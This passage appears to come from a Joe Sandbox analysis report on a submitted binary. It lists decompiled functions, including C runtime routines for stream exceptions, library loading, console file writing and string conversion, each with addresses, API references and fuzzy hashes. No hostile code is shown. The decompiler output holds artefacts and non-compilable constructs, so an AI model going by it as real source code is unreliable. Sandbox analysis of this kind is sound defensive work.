							_push(2);
							_pop(1);
							goto L12;
						}
						__eflags = _t109 - 2;
						if(_t109 != 2) {
							goto L12;
						}
						goto L11;
					}
					_push(_v8);
					_t113 = _v24;
					_push(_v24);
					_push(_t84);
					goto L29;
				} else {
					return _a8;
				}
			}

0x00423971
0x00423976
0x00423978
0x00423980
0x00423988
0x0042398b
0x00423993
0x0042399a
0x0042399d
0x004239a0
0x004239a3
0x004239a7
0x004239ac
0x004239ae
0x004239ae
0x004239b1
0x004239b4
0x004239b7
0x004239bc
0x004239d0
0x004239d3
0x004239d9
0x004239dc
0x004239df
0x004239e2
0x004239e2
0x004239e5
0x004239e7
0x004239ea
0x004239ed
0x004239f2
0x004239f5
0x00423a04
0x00423a0c
0x00423a14
0x00423a17
0x00423a64
0x00423a74
0x00423a79
0x00423a7c
0x00423a7e
0x00423a87
0x00423a8a
0x00423abb
0x00423ac1
0x00423ac2
0x00423ac5
0x00423ac8
0x00423acb
0x00423ad2
0x00423ad7
0x00423aef
0x00423af2
0x00423af2
0x00423af5
0x00423af8
0x00423af9
0x00423afa
0x00423afa
0x00423afb
0x00423b0e
0x00423b15
0x00423b1a
0x00000000
0x00423b1a
0x00423ad9
0x00423adc
0x00423ade
0x00423ae4
0x00423ae4
0x00423ae6
0x00423ae7
0x00423ae7
0x00423a5b
0x00423a5b
0x00423a5d
0x00000000
0x00423a5d
0x00423ae0
0x00423ae2
0x00000000
0x00000000
0x00000000
0x00423ae2
0x00423a91
0x00423a94
0x00423a9b
0x00423aa2
0x00423aa5
0x00423aa7
0x00000000
0x00000000
0x00423ab0
0x00423ab3
0x00423ab5
0x00000000
0x00000000
0x00423ab7
0x00000000
0x00423ab7
0x00423a96
0x00423a99
0x00000000
0x00000000
0x00000000
0x00423a99
0x00000000
0x00423a80
0x00423a19
0x00423a1c
0x00000000
0x00000000
0x00423a1e
0x00423a38
0x00423a3e
0x00423a42
0x00423a45
0x00423a47
0x00000000
0x00000000
0x00423a4d
0x00423a50
0x00423a52
0x00423a58
0x00423a58
0x00423a5a
0x00000000
0x00423a5a
0x00423a54
0x00423a56
0x00000000
0x00000000
0x00000000
0x00423a56
0x004239f7
0x004239fa
0x004239fd
0x004239fe
0x00000000
0x004239be
0x00000000
0x004239c1

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423AFB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423B0E

Strings

99B, xrefs: 004239E2
99B, xrefs: 00423A04

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 99B$99B
API String ID: 885266447-862792131
Opcode ID: fb1fee3e0c56fe8e9cde052c79b43c72f641b9244b6fad5d831a619671f24cc1
Instruction ID: b02a6e7cbcacb517213776693aab9805db623b7f4d60859a31f81b5ed3266605
Opcode Fuzzy Hash: fb1fee3e0c56fe8e9cde052c79b43c72f641b9244b6fad5d831a619671f24cc1
Instruction Fuzzy Hash: F951B271B00259AFCF14CF98D881AAEBBB2EF48311F54806AF89597351D3389E42CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00403A00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00403A00(void* __ebx, void* __ecx, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				intOrPtr _v48;
				signed int _t20;
				void* _t23;
				void* _t33;
				signed char _t36;
				intOrPtr* _t37;
				intOrPtr* _t40;
				char* _t45;
				intOrPtr _t46;

				_t33 = __ebx;
				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t36 =  *(__ecx + 0x10) & _t20;
				if(_t36 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E00414B7B(0, 0);
					}
					if((_t36 & 0x00000004) == 0) {
						_t45 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t45 = "ios_base::badbit set";
					}
					_t23 = E00402FB0( &_v32, 1);
					_t37 =  &_v24;
					_push(_t23);
					E00403910(_t33, _t37, _t45);
					E00414B7B( &_v32, 0x4422f0);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t45);
					_t46 = _v48;
					asm("xorps xmm0, xmm0");
					_t40 = _t37;
					 *_t40 = 0x433244;
					asm("movq [eax], xmm0");
					E00414631(_t46 + 4, _t40 + 4);
					 *_t40 = 0x43459c;
					 *((intOrPtr*)(_t40 + 0xc)) =  *((intOrPtr*)(_t46 + 0xc));
					 *((intOrPtr*)(_t40 + 0x10)) =  *((intOrPtr*)(_t46 + 0x10));
					 *_t40 = 0x4345d0;
					return _t40;
				}
			}

0x00403a00
0x00403a0c
0x00403a0f
0x00403a16
0x00403a18
0x00403a26
0x00403a1a
0x00403a1e
0x00403a2d
0x00403a2d
0x00403a35
0x00403a4b
0x00403a37
0x00403a37
0x00403a37
0x00403a55
0x00403a5d
0x00403a61
0x00403a63
0x00403a72
0x00403a77
0x00403a78
0x00403a79
0x00403a7a
0x00403a7b
0x00403a7c
0x00403a7d
0x00403a7e
0x00403a7f
0x00403a83
0x00403a84
0x00403a87
0x00403a8b
0x00403a91
0x00403a97
0x00403a9f
0x00403aa4
0x00403ab3
0x00403ab8
0x00403abb
0x00403ac4
0x00403ac4

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403A9F

Part of subcall function 00414B7B: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,004123EF,?,00441908,00402904,string too long,00402904,?,?,?), ref: 00414BDB

Strings

ios_base::failbit set, xrefs: 00403938, 00403A41
ios_base::eofbit set, xrefs: 00403A46
ios_base::badbit set, xrefs: 00403A37, 00403A62, 00403A83

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: efa896197464d988a22a4665368f36291d2b7245f706ea407db39219bc463d9f
Instruction ID: 5ca9c8b6697ae70dd92285cccf55e05d5f07217f2c4b3bb58837881ace8174e9
Opcode Fuzzy Hash: efa896197464d988a22a4665368f36291d2b7245f706ea407db39219bc463d9f
Instruction Fuzzy Hash: E71124B2A103046BC710DE59C801BD6B7ECAF49311F14892BFA58A76C1F778EA54CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00417B42 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00417B42(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E00420218(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00417b4f
0x00417b57
0x00417b8c
0x00417b59
0x00417b62
0x00000000
0x00417b89
0x00417b88
0x00417b88

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00417AF3,00000000,?,004447D4,?,?,?,00417C96,00000004,InitializeCriticalSectionEx,00435170,InitializeCriticalSectionEx), ref: 00417B4F
GetLastError.KERNEL32(?,00417AF3,00000000,?,004447D4,?,?,?,00417C96,00000004,InitializeCriticalSectionEx,00435170,InitializeCriticalSectionEx,00000000,?,00417A4D), ref: 00417B59
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00417B81

Strings

api-ms-, xrefs: 00417B66

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 286c89d422db71c697f3237b2d49fb5709d2675eb0362af91fcace01508841d4
Instruction ID: 8af73c1b971d03717dcad23543ed2b47545356c011706117da99b8513980ac08
Opcode Fuzzy Hash: 286c89d422db71c697f3237b2d49fb5709d2675eb0362af91fcace01508841d4
Instruction Fuzzy Hash: EFE048307C8205B7DF101F61EC47F993F749B00B56F104032F90CA85E1E769A99495DC

Uniqueness

Uniqueness Score: -1.00%

Function 00420E68 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00420E68(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(0x432780);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x443048; // 0x7239e5fc
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x444b30 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E0041A250(_t265, _t291, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x444b30 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x444b30 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x444b30 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E00422AF7(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E00422AF7(_t273, _t292);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x4432d0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x444b30 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E0042C34C( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x4432d0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x444b30 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E00414BF0( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x444b30 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E0042C34C( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E00427D31(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E0041361E(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x00420e6d
0x00420e6f
0x00420e7a
0x00420e7b
0x00420e7e
0x00420e83
0x00420e85
0x00420e8b
0x00420e8f
0x00420e95
0x00420e9a
0x00420ea0
0x00420ea3
0x00420ea6
0x00420ea9
0x00420eac
0x00420eaf
0x00420eb9
0x00420ec0
0x00420ec8
0x00420ecb
0x00420ed1
0x00420ed5
0x00420ed8
0x00420edc
0x00420edc
0x00420ee4
0x00420eec
0x00420ef1
0x00420ef2
0x00420ef3
0x00420ef4
0x00420ef7
0x00420ef9
0x00420eff
0x00420f05
0x00420f08
0x00420f0a
0x00420f0d
0x00420f16
0x00420f1c
0x00420f1f
0x00420f26
0x00420f2d
0x00420f30
0x0042106a
0x0042106e
0x00421071
0x00421094
0x0042109a
0x0042109c
0x004210a0
0x004210d1
0x004210d4
0x004210d6
0x00000000
0x004210a2
0x004210a2
0x004210a5
0x004210a8
0x004210ab
0x004211f5
0x00421203
0x0042120c
0x004210b1
0x004210bb
0x004210c0
0x004210c3
0x004210c6
0x004210cc
0x00000000
0x004210cc
0x004210c6
0x004210ab
0x00421073
0x0042107a
0x0042107d
0x00421080
0x00421082
0x00421085
0x0042108c
0x0042108e
0x004210d7
0x004210da
0x004210db
0x004210e0
0x004210e3
0x004210e6
0x004210ec
0x00000000
0x004210ec
0x004210e6
0x00420f36
0x00420f39
0x00420f3b
0x00420f3d
0x00420f41
0x00420f42
0x00420f46
0x00000000
0x00000000
0x00000000
0x00420f46
0x00420f4b
0x00420f4d
0x00420f52
0x00421012
0x00421019
0x0042101a
0x0042101d
0x0042101f
0x004211cf
0x004211d1
0x00000000
0x004211d3
0x004211d3
0x004211d6
0x004211e5
0x004211e9
0x004211ea
0x004211ea
0x00000000
0x004211ee
0x00000000
0x00421025
0x0042102a
0x0042102d
0x00421030
0x00421036
0x0042103f
0x0042104a
0x0042104f
0x00421052
0x00421055
0x0042105e
0x0042105e
0x00421061
0x00000000
0x00421061
0x00421055
0x00420f58
0x00420f5b
0x00420f61
0x00420f63
0x00420f70
0x00420f71
0x00420f74
0x00420f77
0x00420f7c
0x004211a0
0x004211a2
0x004211a4
0x004211a7
0x004211aa
0x004211b6
0x004211b9
0x004211bb
0x004211bc
0x004211c0
0x004211c3
0x004211c3
0x004211c7
0x004211c7
0x004211c7
0x004211ca
0x004211ca
0x00420f82
0x00420f82
0x00420f85
0x00420f87
0x00420f8a
0x00420f8c
0x00420f90
0x00420f91
0x00420f92
0x00420f96
0x00420f9b
0x00420fa5
0x00420faa
0x00420fad
0x00420fad
0x00420fb0
0x00420fb3
0x00420fb5
0x00420fb8
0x00420fc1
0x00420fc5
0x00420fc6
0x00420fcd
0x00420fd3
0x00420fdb
0x00420fe6
0x00420feb
0x00420ff6
0x00420ffb
0x00421001
0x0042100a
0x00421064
0x00421064
0x004210ef
0x004210f4
0x00421106
0x0042110b
0x0042110e
0x00421113
0x0042112e
0x00421211
0x00421217
0x00421134
0x00421134
0x0042113f
0x00421141
0x00421144
0x0042114d
0x00421157
0x00000000
0x00421159
0x0042115b
0x0042115d
0x00421176
0x00000000
0x0042117c
0x00421180
0x00421186
0x00421189
0x0042118f
0x00421192
0x00000000
0x00421192
0x00421180
0x00421176
0x00421157
0x0042114d
0x0042112e
0x00421113
0x00421001
0x00420f7c
0x00420f52
0x00000000
0x00421195
0x00421195
0x0042119e
0x00421219
0x0042121e
0x00421226
0x00421227
0x00421228
0x00421234
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(7239E5FC,00000000,00000000,00000000), ref: 00420ECB

Part of subcall function 00427D31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004264E6,?,00000000,-00000008), ref: 00427DDD

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00421126
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0042116E
GetLastError.KERNEL32 ref: 00421211

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 04bb50d0fb26d342604141d89ce82b31cf1c6f824e0d630eefade663fa0d639f
Instruction ID: ac4cfe10a7d27ed62ff7de5ddb6cd96f2af41a5dc5bcf9134081d331438b7029
Opcode Fuzzy Hash: 04bb50d0fb26d342604141d89ce82b31cf1c6f824e0d630eefade663fa0d639f
Instruction Fuzzy Hash: 69D19975E002689FCF15CFE8E880AADBBB4FF49304F58416AE815E7352D734A942CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0042814D Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042814D(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E00427D31(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E0041D3BA(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E0041C9F9(GetLastError());
									_t20 =  *((intOrPtr*)(E0041CA53()));
								}
								L14:
								return _t20;
							}
							_t20 = E004286EF(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E0041C9F9(GetLastError());
						return  *((intOrPtr*)(E0041CA53()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E004286EF(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E0041D3DE(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x00428154
0x00428159
0x00428177
0x00428179
0x0042817c
0x004281a5
0x004281ad
0x004281af
0x004281c8
0x004281cb
0x004281ce
0x004281dc
0x004281e9
0x004281ee
0x004281f0
0x00428209
0x0042820c
0x0042820c
0x004281f2
0x004281f9
0x00428204
0x00428204
0x0042820e
0x00000000
0x0042820e
0x004281d3
0x004281d8
0x004281da
0x00000000
0x00000000
0x00000000
0x004281da
0x004281b8
0x00000000
0x004281c3
0x0042817e
0x00428181
0x00428184
0x00428193
0x00428196
0x0042816d
0x0042816d
0x00000000
0x00428170
0x0042818a
0x0042818f
0x00428191
0x00428212
0x00428212
0x00000000
0x00428191
0x0042815b
0x00428160
0x00428165
0x00428167
0x0042816a
0x00000000

APIs

Part of subcall function 00427D31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004264E6,?,00000000,-00000008), ref: 00427DDD

GetLastError.KERNEL32 ref: 004281B1
__dosmaperr.LIBCMT ref: 004281B8
GetLastError.KERNEL32(?,?,?,?), ref: 004281F2
__dosmaperr.LIBCMT ref: 004281F9

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 92193438e69e4416bd4c92fd64385e6247f7db12395fc2a69cb738ac0504b02b
Instruction ID: d132d1f158b9c44ea61a86f1543b5f475bcbec393d0dc6344fa18f1be3475fee
Opcode Fuzzy Hash: 92193438e69e4416bd4c92fd64385e6247f7db12395fc2a69cb738ac0504b02b
Instruction Fuzzy Hash: 6721FB71701625AF9B10AF66EC80D6F77A9FF10354740855FF82993690DF38EC5187A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041D2DB Relevance: 6.1, APIs: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D2DB(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E00427D31(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E0041D3BA(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E0041C9F9(GetLastError());
									_t18 =  *((intOrPtr*)(E0041CA53()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E0041D3F8(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E0041C9F9(GetLastError());
						_t18 =  *((intOrPtr*)(E0041CA53()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E0041D3F8(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E0041D47D(_a8);
				return 0;
			}

0x0041d2e1
0x0041d2e6
0x0041d2fd
0x0041d32f
0x0041d339
0x0041d352
0x0041d358
0x0041d366
0x0041d373
0x0041d37a
0x0041d393
0x0041d396
0x0041d37c
0x0041d383
0x0041d38e
0x0041d38e
0x0041d398
0x0041d399
0x00000000
0x0041d399
0x0041d35d
0x0041d364
0x00000000
0x00000000
0x00000000
0x0041d364
0x0041d342
0x0041d34d
0x00000000
0x0041d34d
0x0041d2ff
0x0041d305
0x0041d318
0x0041d31b
0x0041d31d
0x0041d31f
0x00000000
0x0041d31f
0x0041d30b
0x0041d312
0x00000000
0x00000000
0x00000000
0x0041d312
0x0041d2eb
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed6135ce67b36efedd41668e1190843f3a5ab02d88d439b7d257a1dc773afb11
Instruction ID: b554e473e5976ea2b9ee6ea0b56a9bc1c1e4299f9a8d405d354e242d1bce65e7
